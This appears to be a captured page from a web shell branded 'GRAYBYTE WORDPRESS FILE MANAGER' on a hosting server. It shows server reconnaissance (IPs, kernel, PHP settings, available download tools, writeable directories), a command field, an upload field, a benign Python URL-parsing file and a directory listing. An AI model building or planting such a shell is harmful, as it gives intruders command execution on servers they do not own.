GRAYBYTE WORDPRESS FILE MANAGER7923

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/wmt/common/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/wmt/common//url_parser.py
from urllib.parse import urlparse, ParseResult


def parse(domain: str, scheme: str = 'http') -> str:
    """
    Convert domain name to 'http://www.domain.com' format
    """
    # https://stackoverflow.com/questions/21659044/how-can-i-prepend-http-to-a-url-if-it-doesnt-begin-with-http
    p = urlparse(domain, 'http')
    netloc = p.netloc or p.path
    path = p.path if p.netloc else ''
    p = ParseResult(p.scheme, netloc, path, *p[3:])
    return p.geturl()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 01 2025 08:30:39
root / root
0755
__pycache__
--
May 01 2025 08:30:39
root / root
0755
__init__.py
0.264 KB
April 10 2025 08:52:41
root / root
0644
config.py
4.657 KB
April 10 2025 08:52:41
root / root
0644
const.py
1.056 KB
April 10 2025 08:52:41
root / root
0644
exceptions.py
0.92 KB
April 10 2025 08:52:41
root / root
0644
notification.py
9.961 KB
April 10 2025 08:52:41
root / root
0644
report.py
5.176 KB
April 10 2025 08:52:41
root / root
0644
service.py
0.788 KB
April 10 2025 08:52:41
root / root
0644
url_parser.py
0.454 KB
April 10 2025 08:52:41
root / root
0644
utils.py
5.244 KB
April 10 2025 08:52:41
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF